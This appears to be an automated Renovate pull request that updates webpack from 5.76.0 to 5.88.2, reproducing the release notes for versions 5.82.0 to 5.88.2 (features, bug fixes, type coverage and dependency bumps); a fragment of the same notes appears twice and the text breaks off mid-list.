webpack/webpack@v5.86.0...v5.87.0 ### [`v5.86.0`](https://togithub.com/webpack/webpack/releases/tag/v5.86.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.1...v5.86.0) #### New Features - Improved cache size performance via better handling of serialization for errors and bigints by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17282](https://togithub.com/webpack/webpack/pull/17282) - Introduce an export default handler function option for `ProgressPlugin` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17312](https://togithub.com/webpack/webpack/pull/17312) - Support passing `RegExp` to `splitChunks.chunks` by [@​hyf0](https://togithub.com/hyf0) in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) #### Bug Fixes - Fix layer capabilities for `ContextModule` types by [@​huozhi](https://togithub.com/huozhi) in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - Fix compatibility of `__non_webpack_require__` with ES modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17308](https://togithub.com/webpack/webpack/pull/17308) - Improve type coverage `Chunk`, `ChunkGroup`, and other plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/1731](https://togithub.com/webpack/webpack/pull/1731) - Do not add `js` extension for eval source maps when extension is not resolvable by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17331](https://togithub.com/webpack/webpack/pull/17331) #### Developer Experience - Improve type coverage for Json Module type and lazy load json-assertions package by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17301](https://togithub.com/webpack/webpack/pull/17301) #### Dependencies & Maintenance - Bump memfs from 3.5.1 to 3.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17315](https://togithub.com/webpack/webpack/pull/17315) - Bump webpack-cli from 5.1.1 to 5.1.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17314](https://togithub.com/webpack/webpack/pull/17314) - Bump eslint from 8.41.0 to 8.42.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17313](https://togithub.com/webpack/webpack/pull/17313) #### New Contributors - [@​huozhi](https://togithub.com/huozhi) made their first contribution in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - [@​hyf0](https://togithub.com/hyf0) made their first contribution in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) **Full Changelog**: webpack/webpack@v5.85.1...v5.86.0 ### [`v5.85.1`](https://togithub.com/webpack/webpack/releases/tag/v5.85.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.0...v5.85.1) #### Bug Fixes - Fix bug in handling barrel imports ([#​17305](https://togithub.com/webpack/webpack/issues/17305)) by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17307](https://togithub.com/webpack/webpack/pull/17307) - ***NOTE**: An internal API `BasicEvaluatedExpression.getMemberRangeStarts` has been changed to `BasicEvaluatedExpression.getMemberRanges`, please see type definition changes and the pull request for more information.* #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.1 to 29.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17297](https://togithub.com/webpack/webpack/pull/17297) **Full Changelog**: webpack/webpack@v5.85.0...v5.85.1 ### [`v5.85.0`](https://togithub.com/webpack/webpack/releases/tag/v5.85.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.1...v5.85.0) #### New Features - Add `readonly` cache mode by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15470](https://togithub.com/webpack/webpack/pull/15470) - Normalize property accessors for esm namespaces and chained member/call expressions by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17203](https://togithub.com/webpack/webpack/pull/17203) - Support `environment` in loader context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17281](https://togithub.com/webpack/webpack/pull/17281) - Introduce a new syntax for `addModule()` support in worklets - `*context.audioWorklet.addModule()` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17212](https://togithub.com/webpack/webpack/pull/17212) #### Bug Fixes - Fix type regression with unknown module type strings by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17266](https://togithub.com/webpack/webpack/pull/17266) #### Developer Experience - Use global runtime constants for webpack exports by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17270](https://togithub.com/webpack/webpack/pull/17270) - Add strict mode type coverage for WASM and Runtime code by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17267](https://togithub.com/webpack/webpack/pull/17267) - Add strict mode type coverage for runtime modules and runtime plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17261](https://togithub.com/webpack/webpack/pull/17261) - Add types for JSON & Asset Modules including their interfacing plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17262](https://togithub.com/webpack/webpack/pull/17262) - Add type coverage for Module subclasses and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17272](https://togithub.com/webpack/webpack/pull/17272) #### Dependencies & Maintenance - Use GitHub Discussions instead of Gitter in issue templates by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17293](https://togithub.com/webpack/webpack/pull/17293) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.3 to 20.2.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17269](https://togithub.com/webpack/webpack/pull/17269) - Bump browserslist from 4.21.5 to 4.21.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17275](https://togithub.com/webpack/webpack/pull/17275) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.4 to 20.2.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17276](https://togithub.com/webpack/webpack/pull/17276) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.8 to 7.22.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17278](https://togithub.com/webpack/webpack/pull/17278) **Full Changelog**: webpack/webpack@v5.84.1...v5.85.0 ### [`v5.84.1`](https://togithub.com/webpack/webpack/releases/tag/v5.84.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.0...v5.84.1) #### Bug Fixes - Fix regression in inner graph for reserved identifiers by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17265](https://togithub.com/webpack/webpack/pull/17265) #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.0 to 29.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17027](https://togithub.com/webpack/webpack/pull/17027) - Bump simple-git from 3.18.0 to 3.19.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17263](https://togithub.com/webpack/webpack/pull/17263) **Full Changelog**: webpack/webpack@v5.84.0...v5.84.1 ### [`v5.84.0`](https://togithub.com/webpack/webpack/releases/tag/v5.84.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.1...v5.84.0) #### New Features - SourceMapDevToolPlugin now supports `append` option as a function by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17252](https://togithub.com/webpack/webpack/pull/17252) #### Bug Fixes - Fix multiple bugs referencing class names when shadowed by import name in properties and methods by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17233](https://togithub.com/webpack/webpack/pull/17233) - Allow DefinePlugin shorthand property by [@​shamoilarsi](https://togithub.com/shamoilarsi) in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) - \[CSS] - Fix edge cases in parsing `@import` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17229](https://togithub.com/webpack/webpack/pull/17229) #### Developer Experience - Increase type coverage for serialization classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17243](https://togithub.com/webpack/webpack/pull/17243) - Increase type coverage for `JavascriptParser` and `ModuleDependency` subclasses by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17236](https://togithub.com/webpack/webpack/pull/17236) - Increase type coverage to `strict`-mode quality for Configuration/Normalization objects by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17247](https://togithub.com/webpack/webpack/pull/17247) - Refactor duplicate strings by replacing them with constant for **webpack_require** instead of string literal by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17228](https://togithub.com/webpack/webpack/pull/17228) - Add test case for `with { type: "json" }` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17230](https://togithub.com/webpack/webpack/pull/17230) - Add test case for destructuring by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17248](https://togithub.com/webpack/webpack/pull/17248) #### Dependencies & Maintenance - Add GitHub discussions badge in README by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17251](https://togithub.com/webpack/webpack/pull/17251) - Bump enhanced-resolve to 5.14.1 by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17257](https://togithub.com/webpack/webpack/pull/17257) - Bump [@​types/node](https://togithub.com/types/node) from 20.1.7 to 20.2.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17219](https://togithub.com/webpack/webpack/pull/17219) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.0 to 20.2.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17226](https://togithub.com/webpack/webpack/pull/17226) - Bump webpack-cli from 5.1.0 to 5.1.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17164](https://togithub.com/webpack/webpack/pull/17164) - Bump eslint from 8.39.0 to 8.40.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17148](https://togithub.com/webpack/webpack/pull/17148) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.4 to 7.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17126](https://togithub.com/webpack/webpack/pull/17126) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.1 to 20.2.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17238](https://togithub.com/webpack/webpack/pull/17238) - Bump eslint from 8.40.0 to 8.41.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17237](https://togithub.com/webpack/webpack/pull/17237) #### New Contributors - [@​shamoilarsi](https://togithub.com/shamoilarsi) made their first contribution in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) **Full Changelog**: webpack/webpack@v5.83.1...v5.84.0 ### [`v5.83.1`](https://togithub.com/webpack/webpack/releases/tag/v5.83.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.0...v5.83.1) #### Bug Fixes - Fix regression in import/export normailization effecting mini-css-extract-plugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17214](https://togithub.com/webpack/webpack/pull/17214) **Full Changelog**: webpack/webpack@v5.83.0...v5.83.1 ### [`v5.83.0`](https://togithub.com/webpack/webpack/releases/tag/v5.83.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.1...v5.83.0) #### New Features - Normalize property access for imports and exports by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - Top Level Await is now enabled by default by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17192](https://togithub.com/webpack/webpack/pull/17192) #### Bug Fixes - Correct `chunkgroup.groupsIterable` return type by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17196](https://togithub.com/webpack/webpack/pull/17196) - Fix bug in Rule Matcher type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17207](https://togithub.com/webpack/webpack/pull/17207) - Fixed apply event callback and optimizing callback event type by [@​nuintun](https://togithub.com/nuintun) in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) - Fix types in hot module replacement APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17193](https://togithub.com/webpack/webpack/pull/17193) #### Developer Experience - Expose `ChunkGroup` to type definitions by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17201](https://togithub.com/webpack/webpack/pull/17201) - Add `NormalModuleFactory`'s `ResolveData` type to public interface by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17195](https://togithub.com/webpack/webpack/pull/17195) - Document `compilation.afterChunks` hook by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17202](https://togithub.com/webpack/webpack/pull/17202) #### Dependencies & Maintenance - Bump [@​webassemblyjs/wasm-edit](https://togithub.com/webassemblyjs/wasm-edit) from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17168](https://togithub.com/webpack/webpack/pull/17168) - Bump wast-loader from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17163](https://togithub.com/webpack/webpack/pull/17163) - Bump yarn-deduplicate from 6.0.1 to 6.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17184](https://togithub.com/webpack/webpack/pull/17184) - Fix command by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17154](https://togithub.com/webpack/webpack/pull/17154) - Bump [@​types/node](https://togithub.com/types/node) from 18.16.3 to 20.1.7 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17205](https://togithub.com/webpack/webpack/pull/17205) #### New Contributors - [@​bworline](https://togithub.com/bworline) made their first contribution in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - [@​nuintun](https://togithub.com/nuintun) made their first contribution in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) **Full Changelog**: webpack/webpack@v5.82.1...v5.83.0 ### [`v5.82.1`](https://togithub.com/webpack/webpack/releases/tag/v5.82.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.0...v5.82.1) #### Bug Fixes - \[CSS] - Support nesting in CSS modules and bug fixes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17133](https://togithub.com/webpack/webpack/pull/17133) - \[CSS] - Fix crash with `importModule` when CSS enabled by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17140](https://togithub.com/webpack/webpack/pull/17140) - Fix bug where `output.hashFunction` was failing to generate debug hash by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16950](https://togithub.com/webpack/webpack/pull/16950) - Reduce the amount of generated code for chunk loading by [@​lvivski](https://togithub.com/lvivski) in [https://github.com/webpack/webpack/pull/17151](https://togithub.com/webpack/webpack/pull/17151) - Use module preload for ESM module output by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17143](https://togithub.com/webpack/webpack/pull/17143) #### Developer Experience - Improve module type strictness for Module.prototype.type expand ModuleTypeConstants by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17136](https://togithub.com/webpack/webpack/pull/17136) #### Dependencies & Maintenance - Update package.json description by [@​JeraldVin](https://togithub.com/JeraldVin) in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) - Bump webpack-cli from 5.0.2 to 5.1.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17146](https://togithub.com/webpack/webpack/pull/17146) - Bump core-js from 3.30.1 to 3.30.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17149](https://togithub.com/webpack/webpack/pull/17149) - Bump enhanced-resolve to v5.14.0 by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17160](https://togithub.com/webpack/webpack/pull/17160) #### New Contributors - [@​JeraldVin](https://togithub.com/JeraldVin) made their first contribution in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) **Full Changelog**: webpack/webpack@v5.82.0...v5.82.1 ### [`v5.82.0`](https://togithub.com/webpack/webpack/releases/tag/v5.82.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.81.0...v5.82.0) #### New Features - \[CSS] - Add URL dependencies support to consume shared module via module federation by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16945](https://togithub.com/webpack/webpack/pull/16945) - Allow webpack-cli to be in ESM by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17088](https://togithub.com/webpack/webpack/pull/17088) - Allow specifying "onPolicyCreationFailure" mode for trusted types by [@​Zlatkovsky](https://togithub.com/Zlatkovsky) in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) #### Bug Fixes - \[CSS] - Respect `media`/`supports`/`layer` from parent CSS module by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17115](https://togithub.com/webpack/webpack/pull/17115) - \[CSS] - Add warning & support for any [@​import](https://togithub.com/import) rules must precede all other rules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17118](https://togithub.com/webpack/webpack/pull/17118) - \[CSS] - Support handling `#hash` URL as external (similar to Parcel) by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17116](https://togithub.com/webpack/webpack/pull/17116) - Optimize numberHash.js performance by removing inner loops by [@​alexkuz](https://togithub.com/alexkuz) in [https://github.com/webpack/webpack/pull/17074](https://togithub.com/webpack/webpack/pull/17074) - Improve template string comparison algorithm by [@​An0nie](https://togithub.com/An0nie) in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) #### Tests & Contributor Experience - \[CSS] - Increase imports external test coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17089](https://togithub.com/webpack/webpack/pull/17089) - Improve PR reliability via ignoring unstable coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17106](https://togithub.com/webpack/webpack/pull/17106) - Update webpack types to support extends property in webpack (for webpack-cli) by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) #### Developer Experience - Increase type coverage and documentation for `StringXor` class. by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17070](https://togithub.com/webpack/webpack/pull/17070) - Increase type coverage & docs for `numberHash` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17072](https://togithub.com/webpack/webpack/pull/17072) - Increase type coverage & docs for `JavascriptParser` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17094](https://togithub.com/webpack/webpack/pull/17094) - Increase type coverage & docs for `BasicEvaluatedExpression` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17096](https://togithub.com/webpack/webpack/pull/17096) - Increase type coverage for CSS module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17097](https://togithub.com/webpack/webpack/pull/17097) - Increase type coverage for JSON module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17095](https://togithub.com/webpack/webpack/pull/17095) - Increase type coverage & docs for multiple utility classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17107](https://togithub.com/webpack/webpack/pull/17107) #### Dependencies & Maintenance - chore(deps-dev): bump lint-staged from 13.2.1 to 13.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17075](https://togithub.com/webpack/webpack/pull/17075) - chore(deps-dev): bump eslint from 8.38.0 to 8.39.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17052](https://togithub.com/webpack/webpack/pull/17052) - chore(deps-dev): bump assemblyscript from 0.27.3 to 0.27.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17064](https://togithub.com/webpack/webpack/pull/17064) - chore(deps-dev): bump assemblyscript from 0.27.4 to 0.27.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17109](https://togithub.com/webpack/webpack/pull/17109) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.16.2 to 18.16.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17112](https://togithub.com/webpack/webpack/pull/17112) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.15.13 to 18.16.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17084](https://togithub.com/webpack/webpack/pull/17084) - chore(deps-dev): bump webpack-cli from 5.0.1 to 5.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17054](https://togithub.com/webpack/webpack/pull/17054) - chore(deps-dev): bump date-fns from 2.29.3 to 2.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17111](https://togithub.com/webpack/webpack/pull/17111) #### New Contributors - [@​An0nie](https://togithub.com/An0nie) made their first contribution in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) - [@​burhanuday](https://togithub.com/burhanuday) made their first contribution in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) - [@​Zlatkovsky](https://togithub.com/Zlatkovsky) made their first contribution in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) **Full Changelog**: webpack/webpack@v5.81.0...v5.82.0 </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://www.mend.io/free-developer-tools/renovate/). View repository job log [here](https://developer.mend.io/github/sullivanpj/open-system).
[](https://renovatebot.com) This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | |---|---|---|---|---|---| | [webpack](https://togithub.com/webpack/webpack) | [`5.76.0` -> `5.88.2`](https://renovatebot.com/diffs/npm/webpack/5.76.0/5.88.2) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes <details> <summary>webpack/webpack (webpack)</summary> ### [`v5.88.2`](https://togithub.com/webpack/webpack/releases/tag/v5.88.2) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.1...v5.88.2) #### Bug Fixes - Fixed a bug where unused identifiers should retain names when using css modules by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17444](https://togithub.com/webpack/webpack/pull/17444) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.1...v5.88.2 ### [`v5.88.1`](https://togithub.com/webpack/webpack/releases/tag/v5.88.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.0...v5.88.1) #### Developer Experience - Significantly improve TypeScript coverage for Library Plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17414](https://togithub.com/webpack/webpack/pull/17414) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.0...v5.88.1 ### [`v5.88.0`](https://togithub.com/webpack/webpack/releases/tag/v5.88.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.87.0...v5.88.0) #### New Features - \[CSS] - Use `css/auto` as the default css mode by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17399](https://togithub.com/webpack/webpack/pull/17399) #### Bug Fixes - Fix bugs related to require.context and layer by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17388](https://togithub.com/webpack/webpack/pull/17388) - Fix bug in runtime for CSS loading by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17400](https://togithub.com/webpack/webpack/pull/17400) - Correct indirect call for tagged template expressions using correct this context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17397](https://togithub.com/webpack/webpack/pull/17397) - Update environment support for KaiOS browser by [@​steverep](https://togithub.com/steverep) in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) - Fix async module runtime code for running top-level-await by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/17393](https://togithub.com/webpack/webpack/pull/17393) #### Developer Experience - Add example for stats minimal output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17406](https://togithub.com/webpack/webpack/pull/17406) - Significantly improve type coverage for Dependency, Runtime, Template classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17394](https://togithub.com/webpack/webpack/pull/17394) #### Dependencies & Maintenance - Bump browserslist from 4.21.8 to 4.21.9 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17389](https://togithub.com/webpack/webpack/pull/17389) - Bump acorn from 8.8.2 to 8.9.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17402](https://togithub.com/webpack/webpack/pull/17402) - Bump eslint from 8.42.0 to 8.43.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17401](https://togithub.com/webpack/webpack/pull/17401) - Bump eslint-plugin-jest from 27.2.1 to 27.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17407](https://togithub.com/webpack/webpack/pull/17407) #### New Contributors - [@​steverep](https://togithub.com/steverep) made their first contribution in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.87.0...v5.88.0 ### [`v5.87.0`](https://togithub.com/webpack/webpack/releases/tag/v5.87.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.86.0...v5.87.0) #### New Features - Implement `fetchPriority` feature as parser option and magic comment by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17249](https://togithub.com/webpack/webpack/pull/17249) - \[CSS] - Introduce 'css/auto' as a css module type by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16577](https://togithub.com/webpack/webpack/pull/16577) - \[CSS] - Style-specific fields now automatically resolve in package.json by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17346](https://togithub.com/webpack/webpack/pull/17346) - webpack configuration API now accepts "falsy values" loaders and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17339](https://togithub.com/webpack/webpack/pull/17339) #### Bug Fixes - Fix codecov badge in readme by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17353](https://togithub.com/webpack/webpack/pull/17353) #### Developer Experience - Add link to svelte loader for webpack by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17369](https://togithub.com/webpack/webpack/pull/17369) - Increase parser API types in internal plugins across dependency plugins [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17365](https://togithub.com/webpack/webpack/pull/17365) #### Dependencies & Maintenance - Bump memfs from 3.5.2 to 3.5.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17347](https://togithub.com/webpack/webpack/pull/17347) - Bump webpack-cli from 5.1.3 to 5.1.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17349](https://togithub.com/webpack/webpack/pull/17349) - Bump es-module-lexer from 1.2.1 to 1.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17362](https://togithub.com/webpack/webpack/pull/17362) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.5 to 20.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17361](https://togithub.com/webpack/webpack/pull/17361) - Bump core-js from 3.30.2 to 3.31.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17360](https://togithub.com/webpack/webpack/pull/17360) - Bump 